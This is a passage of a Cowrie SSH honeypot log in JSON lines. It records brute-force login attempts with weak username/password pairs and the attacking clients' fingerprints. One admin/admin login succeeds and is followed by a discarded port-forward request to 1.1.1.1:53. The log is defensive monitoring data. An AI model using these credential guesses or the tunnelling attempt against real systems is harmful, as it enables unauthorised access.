a","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:03.316821Z","src_ip":"192.109.200.78","session":"bffc42889e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:03.569834Z","src_ip":"192.109.200.78","session":"bffc42889e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:04.655087Z","src_ip":"192.109.200.78","session":"bffc42889e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"590f1848fdbe","protocol":"ssh","message":"New connection: 192.109.200.78:46360 (10.17.0.5:22) [session: 590f1848fdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:06.415071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:06.419402Z","src_ip":"192.109.200.78","session":"590f1848fdbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:06.502146Z","src_ip":"192.109.200.78","session":"590f1848fdbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:06.749832Z","src_ip":"192.109.200.78","session":"590f1848fdbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:07.835392Z","src_ip":"192.109.200.78","session":"590f1848fdbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46372,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7242f496c3a","protocol":"ssh","message":"New connection: 192.109.200.78:46372 (10.17.0.5:22) [session: f7242f496c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:09.785437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:09.790186Z","src_ip":"192.109.200.78","session":"f7242f496c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:09.877243Z","src_ip":"192.109.200.78","session":"f7242f496c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:10.128544Z","src_ip":"192.109.200.78","session":"f7242f496c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:11.212404Z","src_ip":"192.109.200.78","session":"f7242f496c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":41202,"dst_ip":"159.203.135.109","dst_port":22,"session":"f839c70a18cb","protocol":"ssh","message":"New connection: 92.207.4.157:41202 (159.203.135.109:22) [session: f839c70a18cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:11.312910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:11.318177Z","src_ip":"92.207.4.157","session":"f839c70a18cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:11.413600Z","src_ip":"92.207.4.157","session":"f839c70a18cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jose","password":"123456","message":"login attempt [jose/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:11.825267Z","src_ip":"92.207.4.157","session":"f839c70a18cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:12.923675Z","src_ip":"92.207.4.157","session":"f839c70a18cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38678,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76ca534be83","protocol":"ssh","message":"New connection: 192.109.200.78:38678 (10.17.0.5:22) [session: c76ca534be83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:12.945959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:12.950552Z","src_ip":"192.109.200.78","session":"c76ca534be83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:13.031941Z","src_ip":"192.109.200.78","session":"c76ca534be83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:13.280996Z","src_ip":"192.109.200.78","session":"c76ca534be83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:14.365551Z","src_ip":"192.109.200.78","session":"c76ca534be83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38700,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e313ace4950","protocol":"ssh","message":"New connection: 192.109.200.78:38700 (10.17.0.5:22) [session: 9e313ace4950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.076259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.083296Z","src_ip":"192.109.200.78","session":"9e313ace4950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.166204Z","src_ip":"192.109.200.78","session":"9e313ace4950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.413089Z","src_ip":"192.109.200.78","session":"9e313ace4950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18970,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b909920cbcc","protocol":"ssh","message":"New connection: 87.251.64.176:18970 (10.17.0.5:22) [session: 7b909920cbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.446154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.454969Z","src_ip":"87.251.64.176","session":"7b909920cbcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.549669Z","src_ip":"87.251.64.176","session":"7b909920cbcc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:16.924235Z","src_ip":"87.251.64.176","session":"7b909920cbcc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:17.021080Z","session":"7b909920cbcc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:17.116895Z","src_ip":"87.251.64.176","session":"7b909920cbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:17.213055Z","src_ip":"87.251.64.176","session":"7b909920cbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:17.499997Z","src_ip":"192.109.200.78","session":"9e313ace4950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38728,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81a69faef15","protocol":"ssh","message":"New connection: 192.109.200.78:38728 (10.17.0.5:22) [session: b81a69faef15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:19.290292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:19.295546Z","src_ip":"192.109.200.78","session":"b81a69faef15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:19.455159Z","src_ip":"192.109.200.78","session":"b81a69faef15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:19.814507Z","src_ip":"192.109.200.78","session":"b81a69faef15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:20.899505Z","src_ip":"192.109.200.78","session":"b81a69faef15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41238,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1a55d37b00f","protocol":"ssh","message":"New connection: 192.109.200.78:41238 (10.17.0.5:22) [session: e1a55d37b00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:22.774485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:22.782775Z","src_ip":"192.109.200.78","session":"e1a55d37b00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 